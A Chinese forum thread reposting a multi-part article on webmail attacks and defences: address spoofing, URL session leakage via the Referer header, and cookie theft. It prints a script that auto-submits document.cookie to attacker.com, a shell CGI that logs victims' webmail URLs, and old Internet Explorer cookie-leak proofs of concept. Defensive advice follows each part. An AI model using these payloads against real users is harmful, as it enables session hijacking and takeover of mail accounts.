Webmail攻防实战（1）

rayman

WebMail是指利用浏览器通过web方式来收发电子邮件的服务或技术，不需借助邮件客户端，可以说只要能上网就能使用WebMail，极大地方便了用户对邮件的收发。对于不能熟练使用邮件客户端，或者在网吧不便使用邮件客户端的用户来说，WebMail更是必不可少的选择。Email能够成为当今Internet上应用最广泛的网络服务，WebMail可谓功不可没。
由于用户的使用不当或者WebMail系统的开发不周，都有可能给WebMail的使用带来更多的安全威胁。同样，WebMail系统作为当今电子邮件系统的重要组成部份，它的安全性也是不可忽视的。
一、邮件地址欺骗
邮件地址欺骗是非常简单和容易的，攻击者针对用户的电子邮件地址，取一个相似的电子邮件名，在WebMail的邮箱配置中将“发件人姓名”配置成与用户一样的发件人姓名（有些WebMail系统没有提供此功能），然后冒充该用户发送电子邮件，在他人收到邮件时，往往不会从邮件地址、邮件信息头等上面做仔细检查，从发件人姓名、邮件内容等上面又看不出异样，误以为真，攻击者从而达到欺骗的目的。例如某用户的电子邮件名是wolfe，攻击者就会取w0lfe、wo1fe、wolfee、woolfe之类相似的电子邮件名来进行欺骗。虽然免费的午餐越来越难吃，但还是有很多用户使用的是免费电子邮箱，通过注册申请，攻击者很容易得到相似的电子邮件地址。 Chinaz@com
人们通常以为电子邮件的回复地址就是它的发件人地址，其实不然，在RFC822中明确定义了发件人地址和回复地址可以不一样，熟悉电子邮件客户端使用的用户也会明白这一点，在配置帐户属性或撰写邮件时，可以指定与发件人地址不同的回复地址。由于用户在收到某个邮件时，虽然会检查发件人地址是否真实，但在回复时，并不会对回复地址做出仔细的检查，所以，如果配合smtp欺骗使用，发件人地址是要攻击的用户的电子邮件地址，回复地址则是攻击者自已的电子邮件地址，那么这样就会具有更大的欺骗性，诱骗他人将邮件发送到攻击者的电子邮箱中。
所谓害人之心不可有，防人之心不可无，鉴于邮件地址欺骗的易于实现和危险性，我们不得不时时提防，以免上当受骗。对于WebMail系统而言，提供邮件信息头内容检查、smtp认证（如果该邮件系统支持smtp的话）等服务技术，将邮件地址欺骗带来的危害降至最小是非常有必要的。对邮件用户而言，认真检查邮件的发件人邮件地址、发件人IP地址、回复地址等邮件信息头内容是很重要的。

dingaa

看了很长时间，大部分都是攻，这要是以前，我肯定说是非常好的文章。
现在不一样了，能不能说下补救之法啊。

david.yu

要是能配合webmail做具体怎么设置就更完美啦

swver

不错的文章。谢谢楼主。收藏

maguoji

不错,楼主辛苦了。。。。

松子儿

好文章...收藏了....

钉子

楼主，因为内容是同一个，所以我把所有帖子合并了，方便连续读。

rayman

浏览器的漏洞和恶意脚本程序导致了cookie信息的泄漏，与cookie信息泄漏不同，URL会话信息被泄漏，则是完全出在HTTP协议上，除非修改HTTP协议。虽然RFC2616里指出referer域是敏感信息（SensitiveInformation），建议浏览器提供友好界面让用户能够允许或禁用传输敏感信息域，不过目前尚未有哪一家浏览器提供了这样的功能界面。
可见，无论是cookie会话跟踪还是URL会话跟踪，都存在着不少的安全问题，所以WebMail系统有必要采取措施加强会话安全：

(1)灵活使用会话跟踪技术：客户端支持cookie时，使用相对比较安全的临时型cookie会话跟踪机制，否则，使用URL会话跟踪，JSP等开发程序能很容易做到这一点。

(2)结合多种会话跟踪技术：同时结合cookie、URL会话跟踪技术进行会话跟踪，大大增加攻击者难度。 中国.站.长站
(3)跟客户端IP地址相结合：21cn.com、qmail的sqWebMail等WebMail系统，就是把当前会话与客户端IP地址结合在一起来加强安全的。

(4)合理设置会话超时时间：在一定时间内客户端没有连接请求则认为会话超时（timeout）。太短了，给用户带来不便；太长了，给攻击者带来方便。

七、WebMail其他安全
如果用户在WebMail里设置了自动回复，攻击者利用这一点，在另一个邮箱里也设置自动回复，并发一封邮件给用户，那么邮件很快就会塞满用户的邮箱，迫使用户不得不取消自动回复，所以，良好的自动回复策略应该是在一定时间内来自同一邮件地址的第二封邮件不应该被自动回复。
攻击者还会在邮件附件中夹带病毒、木马等恶性程序来攻击用户的电脑，甚至用来窃取WebMail密码，所以，对于不明邮件，用户不要奢望那是攻瑰和情书，在对附件进行病毒查杀之前，不要轻易打开它的附件。
为了防止垃圾邮件，WebMail系统应有良好的反垃圾邮件功能，一是系统级的垃圾邮件过滤，对一些被投诉和列入反垃圾邮件组织黑名单的邮件地址进行过滤，二是用户级的垃圾邮件过滤，使WebMail用户可以定制自己的邮件过滤规则，拒绝不受欢迎的邮件，免受垃圾邮件的困扰。

使用一些嗅探监听程序，攻击者甚至不需要很高深的专业知识，就能很轻易地嗅探监听到用户WebMail的密码、邮件内容等。有一个叫“密码监听器”的黑客程序，几乎能监听到国内所有免费邮箱的密码。所以，WebMail系统有必要支持SSI，对浏览器与服务器之间传输的数据进行加密，防止被嗅探监听。

一些WebMail系统支持数字签名和数字加密，在WebMail内可以导入基于公钥加密机制（如CA认证中心颁发的数字证书）产生的公私密钥对，能有效地保证邮件的保密性、完整性和不可抵赖性，不过，鉴于WebMail在其他方面的安全问题，一旦攻击者侵入用户的WebMail，用户反而得不偿失，甚至会导致私钥的泄漏。

WebMail系统程序上的漏洞也值得关注，如IMHOWebMail远程帐户劫持漏洞、BasiliXWebMail远程任意文件泄露漏洞、W3MailWebMail执行任意命令漏洞等，甚至21cn.com都曾有过重要路径泄漏漏洞。

从上面我们可以看到，WebMail的安全问题不容乐观，如果要较好地解决它，一方面要增强WebMail系统的安全性，另一方面则依赖于用户对WebMail的正确使用，这些在上面都有讨论，在此就不赘述。如果用户在正确使用WebMail后仍然存在安全问题，那么剩下的，就是去选择一个好的邮件服务商，或者通过邮件客户端软件来收发邮件，不过，使用outlook等邮件客户端软件又会引发其它的安全问题，例如爱虫、求职信等病毒就是利用outlook的漏洞来扩散传播和危害用户的.

rayman

Cookie会话跟踪除了上面提到的安全缺陷外，还存在如下缺点：

(1)并不是每个浏览器都支持cookie，有些用户为了防止泄露隐私以及从安全性上考虑，可能会禁用浏览器的cookie。 Www.Chinaz.com
(2)由于功能限制或者设置有误，代理服务器不能够代理cookie，导致通过代理服务器上网的用户不能登录进入以cookie进行会话跟踪的WebMail。

六、URL会话攻击

一些WebMail系统胆敢在客户端不支持cookie时拒绝提供WebMail服务，如新浪、搜狐等WebMail系统，而另一些WebMail系统则视用户为上帝，使用URL会话跟踪技术来维护与客户端交互的状态，如163.net、263.net、21cn.com等。 Www@Chinaz@com
URL会话跟踪是把一些标识会话的字符串加在URL里面，对于客户端的每一个http连接请求，服务端都会把URL里的会话标识和它所保存的会话数据关联起来，从而能够区分不同的客户端，以及进行用户会话跟踪。下面是在浏览器的地址栏里看到的一些WebMail的URL，看起来会很长甚至有些怪：
　　

以下为引用的内容： 　　http://bjweb.163.net/cgi/ldapapp?funcid=main&sid=HAPGfUDusCLAQSIm 　　http://WebMail.21cn.com/extend/gb/std/username/ 　　NV0416qxMftyKnOcavGDktOmIEvPsb/SignOn.gen

　　
在关闭浏览器后，保存在服务器里的会话关联数据并不会立即失效，一段时间内WebMail的URL仍然有效，他人只要从浏览器的历史记录里找到该URL，就可以点击进入用户的WebMail，并不需要任何密码验证，所以用户在退出WebMail时，不应该直接关闭浏览器，应该点击WebMail上的“退出”来退出，这样才会清空会话，使WebMail的URL失效，那些在网吧等公共场所上网的用户尤其要注意这一点。 中.国.站长站
如果攻击者知道WebMail系统的URL会话机制，能猜到WebMail的会话标识，那么就能找到WebMail的URL，在浏览器地址栏里输入相同的URL就能轻易地进入用户的WebMail，所以WebMail系统应该使用较长的、随机的字符串做为会话标识，使攻击者难以猜测。

不过，即使WebMail系统的URL会话机制再复杂、会话标识再长，对攻击者而言，要想获得用户WebMail的URL，往往就像探囊取物一般容易。

JavaScript程序中的window.location、location.href、document.URL、document.location、document.referrer等对象属性都可以用来获取WebMail的URL，攻击者只要在html邮件中放入一段脚本代码就可以获取URL，并且能偷偷地发送给攻击者，类似的代码可以参考“cookie会话攻击”一节里的一段演示程序。

Http协议（RFC2616）里规定http请求头域“referer”用于指明链接的出处，即指明来自客户端的这个连接请求是从哪个URI地址提交过来的，例如用户点击页面上的某个链接地址后，发出的referer域的内容就是当前页面的URI地址。CGI编程中的环境变量“HTTP_REFERER”用于获取http请求头域“referer”，下面是一个在Linux下用shell写的CGI程序：
　　

以下为引用的内容： 　　#!/bin/sh 　　#set-f 　　 　　echoContent-type:text/plain 　　echo 　　 　　#写入日志，geturl.log文件权限要可写 　　echo"`date`$REMOTE_ADDR$HTTP_REFERER"＞＞/var/log/geturl.log 　　 　　#即时通知攻击者 　　wall"`date`收到WebMailurl，请检查日志" 站.长站 　　 　　#返回给客户端的信息，用于迷惑用户 　　echo"你好！"

　　
攻击者把这个CGI程序放在自己的web服务器上，然后把该CGI程序的URL地址以单独一行放在txt邮件里发给用户，URL地址会自动变成链接地址，受到欺骗的用户点击后，攻击者就获得了用户WebMail的URL。当然攻击者也可以把CGI程序的URL地址放在html邮件里做为链接地址让用户来点击，或者就用脚本程序或框架技术使这个CGI程序自动运行，或者干脆把这个CGI程序的URL地址放在html邮件源代码img元素的src属性值，虽然显现不出图片，但这个CGI程序照样会收到http连接请求，从而获得WebMail的URL。

Web服务器的日志记录也能获取referer域的内容，以apache为例，在httpd.conf文件中修改或加入如下配置参数：
　　

以下为引用的内容： 　　LogFormat"%t%h%{Referer}i-＞%U"referer 　　CustomLog/usr/local/apache/logs/referer_logreferer

　　
这样对web服务器的每一个http连接请求的referer域的内容都会写到referer_log日志文件里去，攻击者只要分析日志文件就能够知道用户WebMail的URL了。WebMail系统如果支持html邮件的话，总不可能会禁止html邮件中使用图像，攻击者在发给用户的html邮件中放入一张src地址在自己web服务器上的图片，也就能轻易地获取WebMail的URL。
这样一来，深怀恶意的攻击者花点小钱去做邮件服务商提供的WebMail旗帜广告，广告的图片则是放在攻击者的web服务器上，那么攻击者就能每天坐收成千上万用户的WebMail了

rayman

如果攻击者能够获取用户WebMail的cookie信息，那么就能很容易地侵入用户的WebMail。攻击者如何获取用户WebMail的cookie信息呢？如果攻击者在用户的电脑上安装了木马，或者能够从网络线路上对用户进行嗅探侦听，那么获取cookie信息自然不成问题，不过这并不是我们讨论问题的意义所在，因为都能够这样了，又何必大费周折去获取cookie信息，直接获取邮箱密码就是了。 中国站.长.站
如果WebMail系统存在跨站脚本执行漏洞，那么攻击者就能欺骗用户从而轻易地获取cookie信息，虽然众多网站存在此漏洞，但存在此漏洞的WebMail系统还很少见。  
含有恶性脚本程序的html邮件能使攻击者获取WebMail的cookie信息。Html邮件中的脚本程序先提取当前WebMail的cookie信息，然后把它赋值给某个表单元素，再将表单自动提交给攻击者，攻击者从而获得cookie会话信息。下面是一段演示程序：
　　

以下为引用的内容： 　　＜body＞ 　　＜formmethod="post"action="http://attacker.com/getcookie.cgi"name="myform"＞ 　　＜inputname="session"type="hidden"＞ 　　＜/form＞ 　　 　　＜scriptlanguage="JavaScript"＞ 　　varcookie=(document.cookie)； 　　alert(cookie)；//这一句用于显示当前cookie信息，当然，攻击者不会这样做。 　　document.myform.session.value=cookie； Chinaz~com 　　document.myform.submit()； 　　＜/script＞

　　
getcookie.cgi是放在攻击者web服务器上的一个cgi程序，用于获取表单提交过来的cookie信息，并且做记录或者通知攻击者。当然，攻击者会把html邮件、getcookie.cgi程序设计得更隐蔽，更具欺骗性，让用户难以察觉。
通常，浏览器根据web服务器的域名来分别保存cookie信息，并且只会把cookie信息发送给同一域名的web服务器。不过，浏览器的漏洞给攻击者获取不同域名的cookie信息创造了机会，InternetExplorer、Netscape和Mozilla等被广泛使用的浏览器都存在过此类漏洞。下面是几个InternetExplorer浏览器（针对IE5.0、IE5.5或IE6.0）泄漏cookie信息的例子：

(1)Html语言中的object元素用于在当前页面内嵌入外部对象，但InternetExplorer浏览器对object元素属性的处理不当会导致任意域的cookie信息被泄漏，演示代码如下：
　　

以下为引用的内容： 　　＜objectid="data"data="empty.html"type="text/html"＞＜/object＞ 　　＜script＞ 　　varref=document.getElementById("data").object； 　　ref.location.href="http://www.anydomain.com"； 　　setTimeout("alert(ref.cookie)",5000)； 　　＜/script＞

　　
(2)InternetExplorer浏览器错误处理“about”协议使得一个精心构造的URL请求可能会显示或修改任意域的cookie信息，例如（以下代码在同一行）：

about://www.anydomain.com/＜scriptlanguage=JavaScript＞alert(document.cookie)；＜/script＞
(3)InternetExplorer浏览器会误把URL中“%20”（空格符的URL编码）字符串之前的主机名当做cookie信息所在的域，并且发送出去。假设攻击者有一个域名“attacker.com”，攻击者把它做成泛域名解析，即把“*.attacker.com”指向攻击者web服务器所在的IP地址，“attacker.com”下的任何子域名或主机名都会被解析成这个IP地址，当用户提交了类似下面这样的URL后，浏览器就会把“anydomain.com”域名的cookie信息发送给攻击者：

http://anydomain.com%20.attacker.com/getcookie.cgi

如果攻击者要获取WebMail的临时型cookie信息，就会在html邮件中写入相应的代码，在用户浏览邮件时，该代码自动执行，使得攻击者能够获取当前浏览器里的临时cookie信息，也可以把用于获取cookie信息的URL发送给用户，诱骗用户打开该URL，这样攻击者也能获取临时cookie信息。
在攻击者获取cookie信息后，如果cookie信息里含有密码等敏感信息，那么攻击者就能很轻易地侵入用户的邮箱，虽然hotmail等WebMail系统曾经发生过此类的情况，但cookie信息泄漏敏感信息的WebMail系统还很少见。
攻击者在获取cookie信息之后，还要让此cookie信息由浏览器来存取从而与WebMail系统建立会话，这样才能侵入用户的WebMail。如果是持久型cookie信息，攻击者所要做的是把这个信息复制到自己的cookie文件中去，由浏览器存取该cookie信息从而与WebMail系统建立会话，不过临时cookie信息存储在内存中，并不容易让浏览器存取。 站.长.站
为了让浏览器存取临时cookie信息，攻击者可以编辑内存中的cookie信息，或者修改公开源代码的浏览器，让浏览器能够编辑cookie信息，不过这样都不是很简便的方法，简便的方法是使用Achilles程序（packetstormsecurity.org网站有下载）。Achilles是一个http代理服务器，能够载取浏览器和web服务器间的http会话信息，并且在代理转发数据之前可以编辑http会话以及临时cookie信息。 中国站.长.站
WebMail系统应该避免使用持久型cookie会话跟踪，使攻击者在cookie会话攻击上不能轻易得逞。为了防止cookie会话攻击，用户可以采取如下措施以加强安全：

(1)设置浏览器的cookie安全级别，阻止所有cookie或者只接受某几个域的cookie。 Chinaz^com
(2)使用cookie管理工具，增强系统cookie安全，如CookiePal、BurntCookies等。
(3)及时给浏览器打补丁，防止cookie信息泄漏。